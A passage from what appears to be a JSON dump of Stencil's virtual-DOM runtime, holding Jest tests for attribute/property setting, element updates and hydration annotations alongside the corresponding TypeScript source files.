document.createElement('button');\n    const spy2 = jest.spyOn(elm2, 'setAttribute');\n    setAccessor(elm2, 'textContent', undefined, 'some-content', false, 0);\n    expect(spy2.mock.calls).toEqual([]);\n  });\n\n  describe('parseClassList', () => {\n    it('should parse class list', () => {\n      const classList = parseClassList('class1 class2 class3');\n      expect(classList).toEqual(['class1', 'class2', 'class3']);\n    });\n\n    it('should not parse class list', () => {\n      expect(parseClassList('')).toEqual([]);\n      // @ts-expect-error\n      expect(parseClassList()).toEqual([]);\n      expect(parseClassList(null)).toEqual([]);\n    });\n\n    it('should parse SVGAnimatedString', () => {\n      const classList = parseClassList({ baseVal: 'class1 class2 class3' } as SVGAnimatedString);\n      expect(classList).toEqual(['class1', 'class2', 'class3']);\n    });\n  });\n\n  describe('attr: prefix', () => {\n    let elm: any;\n\n    beforeEach(() => {\n      elm = document.createElement('my-tag');\n    });\n\n    it('should set value as attribute using setAttribute', () => {\n      setAccessor(elm, 'attr:data-value', undefined, 'hello', false, 0);\n      expect(elm.getAttribute('data-value')).toBe('hello');\n    });\n\n    it('should set true boolean as empty string attribute', () => {\n      setAccessor(elm, 'attr:hidden', undefined, true, false, 0);\n      expect(elm.getAttribute('hidden')).toBe('');\n    });\n\n    it('should remove attribute when value is false', () => {\n      elm.setAttribute('hidden', '');\n      setAccessor(elm, 'attr:hidden', true, false, false, 0);\n      expect(elm.hasAttribute('hidden')).toBe(false);\n    });\n\n    it('should remove attribute when value is null', () => {\n      elm.setAttribute('data-value', 'test');\n      setAccessor(elm, 'attr:data-value', 'test', null, false, 0);\n      expect(elm.hasAttribute('data-value')).toBe(false);\n    });\n\n    it('should remove attribute when value is undefined', () => {\n      elm.setAttribute('data-value', 'test');\n      setAccessor(elm, 'attr:data-value', 'test', undefined, false, 0);\n      expect(elm.hasAttribute('data-value')).toBe(false);\n    });\n\n    it('should force attribute even for properties that exist on element', () => {\n      const nativeElm = document.createElement('input');\n      const spy = jest.spyOn(nativeElm, 'setAttribute');\n      setAccessor(nativeElm, 'attr:id', undefined, 'my-id', false, 0);\n      expect(spy).toHaveBeenCalledWith('id', 'my-id');\n    });\n\n    it('should set string value as attribute', () => {\n      setAccessor(elm, 'attr:aria-label', undefined, 'Close', false, 0);\n      expect(elm.getAttribute('aria-label')).toBe('Close');\n    });\n\n    it('should update attribute value on re-render', () => {\n      setAccessor(elm, 'attr:data-count', undefined, '1', false, 0);\n      expect(elm.getAttribute('data-count')).toBe('1');\n      setAccessor(elm, 'attr:data-count', '1', '2', false, 0);\n      expect(elm.getAttribute('data-count')).toBe('2');\n    });\n\n    it('should not set attribute when old and new values are equal', () => {\n      const spy = jest.spyOn(elm, 'setAttribute');\n      setAccessor(elm, 'attr:data-value', 'same', 'same', false, 0);\n      expect(spy).not.toHaveBeenCalled();\n    });\n  });\n\n  describe('prop: prefix', () => {\n    let elm: any;\n\n    beforeEach(() => {\n      elm = document.createElement('my-tag');\n    });\n\n    it('should set value as property directly', () => {\n      setAccessor(elm, 'prop:myProp', undefined, 'hello', false, 0);\n      expect(elm.myProp).toBe('hello');\n    });\n\n    it('should set complex object as property', () => {\n      const obj = { foo: 'bar' };\n      setAccessor(elm, 'prop:data', undefined, obj, false, 0);\n      expect(elm.data).toBe(obj);\n    });\n\n    it('should set array as property', () => {\n      const arr = [1, 2, 3];\n      setAccessor(elm, 'prop:items', undefined, arr, false, 0);\n      expect(elm.items).toBe(arr);\n    });\n\n    it('should set null as property', () => {\n      elm.myProp = 'old';\n      setAccessor(elm, 'prop:myProp', 'old', null, false, 0);\n      expect(elm.myProp).toBe(null);\n    });\n\n    it('should set undefined as property', () => {\n      elm.myProp = 'old';\n      setAccessor(elm, 'prop:myProp', 'old', undefined, false, 0);\n      expect(elm.myProp).toBe(undefined);\n    });\n\n    it('should not set attribute when using prop: prefix', () => {\n      const spy = jest.spyOn(elm, 'setAttribute');\n      setAccessor(elm, 'prop:value', undefined, 'test', false, 0);\n      expect(spy).not.toHaveBeenCalled();\n    });\n\n    it('should force property even in SVG mode', () => {\n      setAccessor(elm, 'prop:myProp', undefined, 'hello', true, 0);\n      expect(elm.myProp).toBe('hello');\n    });\n\n    it('should not throw for read-only properties', () => {\n      Object.defineProperty(elm, 'readOnlyProp', {\n        get: () => 'fixed',\n        set: () => {\n          throw new Error('read-only');\n        },\n      });\n      expect(() => {\n        setAccessor(elm, 'prop:readOnlyProp', undefined, 'new-value', false, 0);\n      }).not.toThrow();\n    });\n\n    it('should not set property when old and new values are equal', () => {\n      elm.myProp = 'same';\n      setAccessor(elm, 'prop:myProp', 'same', 'same', false, 0);\n      // early return means property setter not called again\n      expect(elm.myProp).toBe('same');\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\"dom\", \"es2017\", \"esnext.array\"],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"pretty\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../../index.ts\"],\n      \"@stencil/core/testing\": [\"../../../testing/index.ts\"],\n      \"@app-data\": [\"../../../app-data/index.ts\"],\n      \"@app-globals\": [\"../../../app-globals/index.ts\"],\n      \"@utils\": [\"../../../utils/index.ts\"]\n    }\n  }\n}\n"
  },
  {
    "path": "src/runtime/vdom/test/update-element.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { NODE_TYPE } from '../../runtime-constants';\nimport { newVNode } from '../h';\nimport * as setAccessor from '../set-accessor';\nimport { updateElement } from '../update-element';\n\ndescribe('updateElement', () => {\n  const createTestNode = (overrides: Partial<d.VNode> = {}): d.VNode => ({\n    ...newVNode('div', ''),\n    ...overrides,\n  });\n\n  it('should add/remove classes', () => {\n    const elm = document.createElement('my-tag') as HTMLElement;\n    elm.className = 'mr plutonium';\n    const oldVNode: d.VNode = {\n      ...newVNode('div', ''),\n      $flags$: 0,\n      $attrs$: { class: 'mr plutonium' },\n    };\n    const newNode: d.VNode = {\n      ...newVNode('div', ''),\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: { class: 'mr fusion' },\n    };\n    updateElement(oldVNode, newNode, false);\n    expect(elm.className).toBe('mr fusion');\n  });\n\n  it('should remove classes when oldVNode.vattrs but no newVNode.attrs', () => {\n    const elm = document.createElement('my-tag') as HTMLElement;\n    elm.className = 'mr fusion';\n    const oldVNode = createTestNode({\n      $flags$: 0,\n      $attrs$: { class: 'mr fusion' },\n    });\n    const newVnode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n    });\n    updateElement(oldVNode, newVnode, false);\n    expect(elm.className).toBe('');\n  });\n\n  it('should do nothing when class is unchanged', () => {\n    const elm = document.createElement('my-tag') as HTMLElement;\n    elm.className = 'mr fusion';\n    const oldVNode = createTestNode({\n      $flags$: 0,\n      $attrs$: { class: 'mr fusion' },\n    });\n    const newVnode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: { class: 'mr fusion' },\n    });\n    updateElement(oldVNode, newVnode, false);\n    expect(elm.className).toBe('mr fusion');\n  });\n\n  it('should add new classes when no oldVNode.vattrs', () => {\n    const elm = document.createElement('my-tag') as HTMLElement;\n    const oldVNode: d.VNode = newVNode('my-component', 'text value');\n    const newVnode: d.VNode = newVNode('my-component', 'text value');\n    newVnode.$elm$ = elm;\n    newVnode.$attrs$ = { class: 'mr fusion' };\n    updateElement(oldVNode, newVnode, false);\n    expect(elm.className).toBe('mr fusion');\n  });\n\n  it('should add new class when no oldVNode', () => {\n    const elm = document.createElement('my-tag') as HTMLElement;\n    const oldVNode: null = null;\n    const newVnode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: { class: 'mr fusion' },\n    });\n    updateElement(oldVNode, newVnode, false);\n    expect(elm.className).toBe('mr fusion');\n  });\n\n  it('should do nothing when no newVnode attrs', () => {\n    expect(() => {\n      const elm = document.createElement('my-tag') as HTMLElement;\n      const oldVNode: null = null;\n      const newVnode = createTestNode({\n        $flags$: 0,\n        $elm$: elm,\n      });\n      updateElement(oldVNode, newVnode, false);\n    }).not.toThrow();\n  });\n\n  it('should use host element on shadow root element when using shadow dom', () => {\n    const elm: any = {\n      host: document.createElement('div') as HTMLElement,\n      nodeType: NODE_TYPE.DocumentFragment,\n    };\n    const oldVNode: null = null;\n    const newVnode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: {\n        class: 'mr fusion',\n        style: { color: 'gray' },\n      },\n    });\n    updateElement(oldVNode, newVnode, false);\n    expect(elm.host.className).toBe('mr fusion');\n    expect(elm.host.style.color).toBe('gray');\n  });\n\n  it('should use host element when using an element with a \"host\" property', () => {\n    const elm: any = document.createElement('a') as HTMLElement;\n    elm.host = 'localhost:8888';\n    const oldVNode: null = null;\n    const newVnode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: {\n        class: 'mr fusion',\n        style: { color: 'gray' },\n      },\n    });\n    updateElement(oldVNode, newVnode, false);\n    expect(elm.className).toBe('mr fusion');\n    expect(elm.style.color).toBe('gray');\n  });\n\n  it('should use host element when not shadow dom', () => {\n    const elm = document.createElement('my-tag') as HTMLElement;\n    const oldVNode: null = null;\n    const newVnode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: {\n        class: 'mr fusion',\n        style: { color: 'gray' },\n      },\n    });\n    updateElement(oldVNode, newVnode, false);\n    expect(elm.className).toBe('mr fusion');\n    expect(elm.style.color).toBe('gray');\n  });\n\n  it('max test', () => {\n    const spy = jest.spyOn(setAccessor, 'setAccessor');\n    const elm = document.createElement('section') as HTMLElement;\n    const initialVNode: null = null;\n    const firstVNode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: {\n        content: 'attributes removed',\n        padding: false,\n        bold: 'false',\n        'no-attr': null,\n      },\n    });\n    const secondVNode = createTestNode({\n      $flags$: 0,\n      $elm$: elm,\n      $attrs$: {\n        content: 'attributes added',\n        padding: true,\n        bold: 'true',\n        margin: '',\n        color: 'lime',\n        'no-attr': null,\n      },\n    });\n    updateElement(initialVNode, firstVNode, false);\n    expect(spy).toHaveBeenCalledTimes(4);\n    expect(spy).toHaveBeenNthCalledWith(1, elm, 'content', undefined, 'attributes removed', false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(2, elm, 'padding', undefined, false, false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(3, elm, 'bold', undefined, 'false', false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(4, elm, 'no-attr', undefined, null, false, 0, undefined);\n    spy.mockReset();\n\n    updateElement(firstVNode, secondVNode, false);\n    expect(spy).toHaveBeenCalledTimes(6);\n    expect(spy).toHaveBeenNthCalledWith(\n      1,\n      elm,\n      'content',\n      'attributes removed',\n      'attributes added',\n      false,\n      0,\n      undefined,\n    );\n    expect(spy).toHaveBeenNthCalledWith(2, elm, 'padding', false, true, false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(3, elm, 'bold', 'false', 'true', false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(4, elm, 'margin', undefined, '', false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(5, elm, 'color', undefined, 'lime', false, 0, undefined);\n    spy.mockReset();\n\n    updateElement(secondVNode, firstVNode, false);\n    expect(spy).toHaveBeenCalledTimes(6);\n    expect(spy).toHaveBeenNthCalledWith(1, elm, 'margin', '', undefined, false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(2, elm, 'color', 'lime', undefined, false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(\n      3,\n      elm,\n      'content',\n      'attributes added',\n      'attributes removed',\n      false,\n      0,\n      undefined,\n    );\n    expect(spy).toHaveBeenNthCalledWith(4, elm, 'padding', true, false, false, 0, undefined);\n    expect(spy).toHaveBeenNthCalledWith(5, elm, 'bold', 'true', 'false', false, 0, undefined);\n    spy.mockReset();\n    spy.mockRestore();\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/util.spec.ts",
    "content": "import { toVNode } from '../util';\n\ndescribe('toVNode()', () => {\n  it('should create element w/ child elements and text nodes', () => {\n    const elm = document.createElement('h1');\n    elm.innerHTML = '<div> 1 <span> 2 </span><!--comment-->   </div>';\n\n    const vnode = toVNode(elm);\n\n    expect(vnode.$elm$).toBe(elm);\n    expect(vnode.$tag$).toBe('h1');\n\n    expect(vnode.$children$).toBeDefined();\n    expect(vnode.$children$.length).toBe(1);\n\n    expect(vnode.$children$[0].$tag$).toBe('div');\n\n    expect(vnode.$children$[0].$children$).toBeDefined();\n    expect(vnode.$children$[0].$children$.length).toBe(3);\n\n    expect(vnode.$children$[0].$children$[0].$text$).toBe(' 1 ');\n\n    expect(vnode.$children$[0].$children$[1].$tag$).toBe('span');\n    expect(vnode.$children$[0].$children$[2].$text$).toBe('   ');\n\n    expect(vnode.$children$[0].$children$[1].$children$[0].$text$).toBe(' 2 ');\n  });\n\n  it('should create element w/ child text node', () => {\n    const elm = document.createElement('h1');\n    elm.textContent = '88mph';\n    const vnode = toVNode(elm);\n    expect(vnode.$elm$).toBe(elm);\n    expect(vnode.$tag$).toBe('h1');\n    expect(vnode.$children$).toBeDefined();\n    expect(vnode.$children$.length).toBe(1);\n    expect(vnode.$children$[0].$text$).toBe('88mph');\n  });\n\n  it('should create element', () => {\n    const elm = document.createElement('h1');\n    const vnode = toVNode(elm);\n    expect(vnode.$elm$).toBe(elm);\n    expect(vnode.$tag$).toBe('h1');\n    expect(vnode.$children$).toBeNull();\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/vdom-annotations.spec.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { insertVdomAnnotations } from '../vdom-annotations';\n\ndescribe('vdom-annotations', () => {\n  let root: HTMLElement;\n\n  beforeEach(async () => {\n    @Component({ tag: 'component-a-test', scoped: true })\n    class ComponentA {\n      render() {\n        return (\n          <div>\n            <slot></slot>\n          </div>\n        );\n      }\n    }\n\n    @Component({ tag: 'component-b-test', scoped: true })\n    class ComponentB {\n      render() {\n        return (\n          <div>\n            <slot></slot>\n          </div>\n        );\n      }\n    }\n\n    const { root: rootElm } = await newSpecPage({\n      components: [ComponentA, ComponentB],\n      html: `<section>\n        <component-a-test>slotContent</component-a-test>\n        <component-b-test>slotContent</component-b-test>\n      </section>`,\n    });\n    root = rootElm;\n  });\n\n  it('should add annotations when no static component is given', () => {\n    insertVdomAnnotations(root.ownerDocument, []);\n    /**\n      <section>\n        <component-a-test s-id=\"1\">\n            <!--r.1-->o.0.1\n            <div c-id=\"1.0.0.0\">\n              <!--t.1.1.1.0--> <!--t.0.1-->slotContent\n            </div>\n        </component-a-test>\n        <component-b-test s-id=\"2\">\n            <!--r.2-->o.0.2\n            <div c-id=\"2.0.0.0\">\n              <!--t.2.1.1.0--> <!--t.0.2-->slotContent\n            </div>\n        </component-b-test>\n      </section>\n     */\n    expect(root.ownerDocument.body.innerHTML).toMatchSnapshot();\n  });\n\n  it('should add annotations when component-a-test is given as static component', () => {\n    insertVdomAnnotations(root.ownerDocument, ['component-a-test']);\n    /**\n      <section>\n        <component-a-test>\n            <!---->o.0.1\n            <div>\n              <!--t.0.1-->slotContent\n            </div>\n        </component-a-test>\n        <component-b-test s-id=\"1\">\n            <!--r.1-->o.0.2\n            <div c-id=\"1.0.0.0\">\n              <!--t.1.1.1.0--> <!--t.0.2-->slotContent\n            </div>\n        </component-b-test>\n      </section>\n     */\n    expect(root.ownerDocument.body.innerHTML).toMatchSnapshot();\n  });\n\n  it('should add annotations when component-a-test and component-b-test is given as static component', () => {\n    insertVdomAnnotations(root.ownerDocument, ['component-a-test', 'component-b-test']);\n    /**\n      <section>\n        <component-a-test>\n            <!---->o.0.1\n            <div>\n              <!--t.0.1-->slotContent\n            </div>\n        </component-a-test>\n        <component-b-test>\n            <!---->o.0.2\n            <div>\n              <!--t.0.2-->slotContent\n            </div>\n        </component-b-test>\n      </section>\n     */\n    expect(root.ownerDocument.body.innerHTML).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/vdom-render.spec.tsx",
    "content": "import { h, newVNode } from '../h';\nimport { isSameVnode, patch } from '../vdom-render';\n\ndescribe('template elements', () => {\n  it('should append children to template.content, not template directly', () => {\n    const hostElm = document.createElement('div');\n    const vnode0 = newVNode(null, null);\n    vnode0.$elm$ = hostElm;\n\n    // Create a template with children\n    const vnode1 = h('div', null, h('template', null, h('span', null, 'Hello'), h('p', null, 'World')));\n\n    patch(vnode0, vnode1);\n\n    const templateEl = hostElm.querySelector('template') as HTMLTemplateElement;\n    expect(templateEl).toBeDefined();\n\n    // Children should NOT be direct children of the template element\n    expect(templateEl.childNodes.length).toBe(0);\n\n    // Children should be in the template.content DocumentFragment\n    expect(templateEl.content.childNodes.length).toBe(2);\n    expect((templateEl.content.childNodes[0] as HTMLElement).tagName).toBe('SPAN');\n    expect((templateEl.content.childNodes[0] as HTMLElement).textContent).toBe('Hello');\n    expect((templateEl.content.childNodes[1] as HTMLElement).tagName).toBe('P');\n    expect((templateEl.content.childNodes[1] as HTMLElement).textContent).toBe('World');\n  });\n\n  it('should allow cloning template content', () => {\n    const hostElm = document.createElement('div');\n    const vnode0 = newVNode(null, null);\n    vnode0.$elm$ = hostElm;\n\n    const vnode1 = h('div', null, h('template', null, h('div', { class: 'test' }, 'Content to clone')));\n\n    patch(vnode0, vnode1);\n\n    const templateEl = hostElm.querySelector('template') as HTMLTemplateElement;\n\n    // Should be able to clone the content\n    const cloned = templateEl.content.cloneNode(true) as DocumentFragment;\n    expect(cloned.childNodes.length).toBe(1);\n    expect((cloned.childNodes[0] as HTMLElement).className).toBe('test');\n    expect((cloned.childNodes[0] as HTMLElement).textContent).toBe('Content to clone');\n  });\n\n  it('should update template children correctly', () => {\n    const hostElm = document.createElement('div');\n    const vnode0 = newVNode(null, null);\n    vnode0.$elm$ = hostElm;\n\n    const vnode1 = h('div', null, h('template', null, h('span', null, 'Initial')));\n    patch(vnode0, vnode1);\n\n    const templateEl = hostElm.querySelector('template') as HTMLTemplateElement;\n    expect(templateEl.content.childNodes.length).toBe(1);\n    expect((templateEl.content.childNodes[0] as HTMLElement).textContent).toBe('Initial');\n\n    // Update the template content\n    const vnode2 = h('div', null, h('template', null, h('span', null, 'Updated')));\n    patch(vnode1, vnode2);\n\n    expect(templateEl.content.childNodes.length).toBe(1);\n    expect((templateEl.content.childNodes[0] as HTMLElement).textContent).toBe('Updated');\n  });\n});\n\ndescribe('isSameVnode', () => {\n  it('should detect objectively same nodes', () => {\n    const vnode1: any = {\n      $tag$: 'div',\n      $key$: '1',\n      $elm$: { nodeType: 9 },\n    };\n    const vnode2: any = {\n      $tag$: 'div',\n      $key$: '1',\n      $elm$: { nodeType: 9 },\n    };\n    const vnode3: any = {\n      $tag$: 'slot',\n      $key$: '1',\n      $name$: 'my-slot',\n      $elm$: { nodeType: 9 },\n    };\n    const vnode4: any = {\n      $tag$: 'slot',\n      $name$: 'my-slot',\n      $elm$: { nodeType: 9 },\n    };\n    expect(isSameVnode(vnode1, vnode2)).toBe(true);\n    expect(isSameVnode(vnode3, vnode4)).toBe(true);\n  });\n\n  it('should add key to old node (e.g. via hydration) on init', () => {\n    const vnode1: any = {\n      $tag$: 'div',\n      $elm$: { nodeType: 9 },\n    };\n    const vnode2: any = {\n      $tag$: 'div',\n      $key$: '1',\n      $elm$: { nodeType: 9 },\n    };\n    expect(isSameVnode(vnode1, vnode2)).toBe(false);\n    expect(isSameVnode(vnode1, vnode2, true)).toBe(true);\n    expect(vnode1.$key$).toBe('1');\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/update-element.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport type * as d from '../../declarations';\nimport { NODE_TYPE } from '../runtime-constants';\nimport { setAccessor } from './set-accessor';\n\n/**\n * Handle updating attributes on the component element based on the current\n * values present in the virtual DOM.\n *\n * If the component of interest uses shadow DOM these are added to the shadow\n * root's host element.\n *\n * @param oldVnode an old virtual DOM node or null\n * @param newVnode a new virtual DOM node\n * @param isSvgMode whether or not we're in an SVG context\n * @param isInitialRender whether this is the first render of the VDOM\n */\nexport const updateElement = (\n  oldVnode: d.VNode | null,\n  newVnode: d.VNode,\n  isSvgMode: boolean,\n  isInitialRender?: boolean,\n): void => {\n  // if the element passed in is a shadow root, which is a document fragment\n  // then we want to be adding attrs/props to the shadow root's \"host\" element\n  // if it's not a shadow root, then we add attrs/props to the same element\n  const elm =\n    newVnode.$elm$.nodeType === NODE_TYPE.DocumentFragment && newVnode.$elm$.host\n      ? newVnode.$elm$.host\n      : (newVnode.$elm$ as any);\n  const oldVnodeAttrs = (oldVnode && oldVnode.$attrs$) || {};\n  const newVnodeAttrs = newVnode.$attrs$ || {};\n\n  if (BUILD.updatable) {\n    // remove attributes no longer present on the vnode by setting them to undefined\n    for (const memberName of sortedAttrNames(Object.keys(oldVnodeAttrs))) {\n      if (!(memberName in newVnodeAttrs)) {\n        setAccessor(\n          elm,\n          memberName,\n          oldVnodeAttrs[memberName],\n          undefined,\n          isSvgMode,\n          newVnode.$flags$,\n          isInitialRender,\n        );\n      }\n    }\n  }\n\n  // add new & update changed attributes\n  for (const memberName of sortedAttrNames(Object.keys(newVnodeAttrs))) {\n    setAccessor(\n      elm,\n      memberName,\n      oldVnodeAttrs[memberName],\n      newVnodeAttrs[memberName],\n      isSvgMode,\n      newVnode.$flags$,\n      isInitialRender,\n    );\n  }\n};\n\n/**\n * Sort a list of attribute names to ensure that all the attribute names which\n * are _not_ `\"ref\"` come before `\"ref\"`. Preserve the order of the non-ref\n * attributes.\n *\n * **Note**: if the supplied attributes do not include `'ref'` then the same\n * (by reference) array will be returned without modification.\n *\n * @param attrNames attribute names to sort\n * @returns a list of attribute names, sorted if they include `\"ref\"`\n */\nfunction sortedAttrNames(attrNames: string[]): string[] {\n  return attrNames.includes('ref')\n    ? // we need to sort these to ensure that `'ref'` is the last attr\n      [...attrNames.filter((attr) => attr !== 'ref'), 'ref']\n    : // no need to sort, return the original array\n      attrNames;\n}\n"
  },
  {
    "path": "src/runtime/vdom/util.ts",
    "content": "import type * as d from '@stencil/core/declarations';\n\nimport { NODE_TYPE } from '../runtime-constants';\nimport { newVNode } from './h';\n\n/**\n * Derive a tree of virtual DOM nodes from a DOM node, handling the DOM node's\n * children (if any)\n *\n * @param node a DOM node to use as a 'template'\n * @returns a virtual DOM node based on the supplied DOM node\n */\nexport function toVNode(node: Node): d.VNode | null {\n  if (node.nodeType === NODE_TYPE.TextNode) {\n    const vnode: d.VNode = newVNode(null, node.textContent);\n    vnode.$elm$ = node;\n    return vnode;\n  } else if (node.nodeType === NODE_TYPE.ElementNode) {\n    const vnode: d.VNode = newVNode(node.nodeName.toLowerCase(), null);\n    vnode.$elm$ = node;\n\n    const childNodes = (node as any).__childNodes || node.childNodes;\n    let childVnode: d.VNode;\n\n    for (let i = 0, l = childNodes.length; i < l; i++) {\n      childVnode = toVNode(childNodes[i]);\n      if (childVnode) {\n        (vnode.$children$ ||= []).push(childVnode);\n      }\n    }\n    return vnode;\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "src/runtime/vdom/vdom-annotations.ts",
    "content": "import { getHostRef } from '@platform';\n\nimport type * as d from '../../declarations';\nimport {\n  COMMENT_NODE_ID,\n  CONTENT_REF_ID,\n  DEFAULT_DOC_DATA,\n  HYDRATE_CHILD_ID,\n  HYDRATE_ID,\n  NODE_TYPE,\n  ORG_LOCATION_ID,\n  SLOT_NODE_ID,\n  STENCIL_DOC_DATA,\n  TEXT_NODE_ID,\n} from '../runtime-constants';\nimport { insertBefore } from './vdom-render';\n\n/**\n * Updates the DOM generated on the server with annotations such as node attributes and\n * comment nodes to facilitate future client-side hydration. These annotations are used for things\n * like moving elements back to their original hosts if using Shadow DOM on the client, and for quickly\n * reconstructing the vNode representations of the DOM.\n *\n * @param doc The DOM generated by the server.\n * @param staticComponents Any components that should be considered static and do not need client-side hydration.\n */\nexport const insertVdomAnnotations = (doc: Document, staticComponents: string[]) => {\n  if (doc != null) {\n    /**\n     * Initiated `docData` object from the document if it exists to ensure we\n     * maintain the same `docData` object across multiple hydration hydration runs.\n     */\n    const docData: d.DocData = STENCIL_DOC_DATA in doc ? (doc[STENCIL_DOC_DATA] as d.DocData) : { ...DEFAULT_DOC_DATA };\n    docData.staticComponents = new Set(staticComponents);\n    const orgLocationNodes: d.RenderNode[] = [];\n\n    parseVNodeAnnotations(doc, doc.body, docData, orgLocationNodes);\n\n    orgLocationNodes.forEach((orgLocationNode) => {\n      if (orgLocationNode != null && orgLocationNode['s-nr']) {\n        const nodeRef = orgLocationNode['s-nr'] as d.RenderNode;\n\n        let hostId = nodeRef['s-host-id'];\n        let nodeId = nodeRef['s-node-id'];\n        let childId = `${hostId}.${nodeId}`;\n\n        if (hostId == null) {\n          hostId = 0;\n          docData.rootLevelIds++;\n          nodeId = docData.rootLevelIds;\n          childId = `${hostId}.${nodeId}`;\n\n          if (nodeRef.nodeType === NODE_TYPE.ElementNode) {\n            nodeRef.setAttribute(HYDRATE_CHILD_ID, childId);\n            if (typeof nodeRef['s-sn'] === 'string' && !nodeRef.getAttribute('slot')) {\n              nodeRef.setAttribute('s-sn', nodeRef['s-sn']);\n            }\n          } else if (nodeRef.nodeType === NODE_TYPE.TextNode) {\n            if (hostId === 0) {\n              const textContent = nodeRef.nodeValue?.trim();\n              if (textContent === '') {\n                // useless whitespace node at the document root\n                orgLocationNode.remove();\n                return;\n              }\n            }\n            const commentBeforeTextNode = doc.createComment(childId);\n            commentBeforeTextNode.nodeValue = `${TEXT_NODE_ID}.${childId}`;\n            insertBefore(nodeRef.parentNode, commentBeforeTextNode as any, nodeRef);\n          } else if (nodeRef.nodeType === NODE_TYPE.CommentNode) {\n            const commentBeforeTextNode = doc.createComment(childId);\n            commentBeforeTextNode.nodeValue = `${COMMENT_NODE_ID}.${childId}`;\n            nodeRef.parentNode.insertBefore(commentBeforeTextNode, nodeRef);\n          }\n        }\n\n        let orgLocationNodeId = `${ORG_LOCATION_ID}.${childId}`;\n\n        const orgLocationParentNode = orgLocationNode.parentElement as d.RenderNode;\n        if (orgLocationParentNode) {\n          if (orgLocationParentNode['s-en'] === '') {\n            // ending with a \".\" means that the parent element\n            // of this node's original location is a SHADOW dom element\n            // and this node is a part of the root level light dom\n            orgLocationNodeId += `.`;\n          } else if (orgLocationParentNode['s-en'] === 'c') {\n            // ending with a \".c\" means that the parent element\n            // of this node's original location is a SCOPED element\n            // and this node is apart of the root level light dom\n            orgLocationNodeId += `.c`;\n          }\n        }\n\n        orgLocationNode.nodeValue = orgLocationNodeId;\n      }\n    });\n  }\n};\n\n/**\n * Recursively parses a node generated by the server and its children to set host and child id\n * attributes read during client-side hydration. This function also tracks whether each node is\n * an original location reference node meaning that a node has been moved via slot relocation.\n *\n * @param doc The DOM generated by the server.\n * @param node The node to parse.\n * @param docData An object containing metadata about the document.\n * @param orgLocationNodes An array of nodes that have been moved via slot relocation.\n */\nconst parseVNodeAnnotations = (\n  doc: Document,\n  node: d.RenderNode,\n  docData: d.DocData,\n  orgLocationNodes: d.RenderNode[],\n) => {\n  if (node == null) {\n    return;\n  }\n\n  if (node['s-nr'] != null) {\n    orgLocationNodes.push(node);\n  }\n\n  if (node.nodeType === NODE_TYPE.ElementNode) {\n    /**\n     * we need to insert the vnode annotations on the host element children as well\n     * as on the children from its shadowRoot if there is one\n     */\n    const childNodes = [...Array.from(node.childNodes), ...Array.from(node.shadowRoot?.childNodes || [])];\n    childNodes.forEach((childNode) => {\n      const hostRef = getHostRef(childNode as d.RuntimeRef);\n      if (hostRef != null && !docData.staticComponents.has(childNode.nodeName.toLowerCase())) {\n        const cmpData: CmpData = {\n          nodeIds: 0,\n        };\n        insertVNodeAnnotations(doc, childNode as any, hostRef.$vnode$, docData, cmpData);\n      }\n\n      parseVNodeAnnotations(doc, childNode as any, docData, orgLocationNodes);\n    });\n  }\n};\n\n/**\n * Insert attribute annotations on an element for its host ID and, potentially, its child ID.\n * Also makes calls to insert annotations on the element's children, keeping track of the depth of\n * the component tree.\n *\n * @param doc The DOM generated by the server.\n * @param hostElm The element to insert annotations for.\n * @param vnode The vNode representation of the element.\n * @param docData An object containing metadata about the document.\n * @param cmpData An object containing metadata about the component.\n */\nconst insertVNodeAnnotations = (\n  doc: Document,\n  hostElm: d.HostElement,\n  vnode: d.VNode | undefined,\n  docData: d.DocData,\n  cmpData: CmpData,\n) => {\n  if (vnode != null) {\n    const hostId = ++docData.hostIds;\n\n    hostElm.setAttribute(HYDRATE_ID, hostId as any);\n\n    if (hostElm['s-cr'] != null) {\n      hostElm['s-cr'].nodeValue = `${CONTENT_REF_ID}.${hostId}`;\n    }\n\n    if (vnode.$children$ != null) {\n      const depth = 0;\n      vnode.$children$.forEach((vnodeChild, index) => {\n        insertChildVNodeAnnotations(doc, vnodeChild, cmpData, hostId, depth, index);\n      });\n    }\n\n    // If this element does not already have a child ID and has a sibling comment node\n    // representing a slot, we use the content of the comment to set the child ID attribute\n    // on the host element.\n    if (hostElm && vnode && vnode.$elm$ && 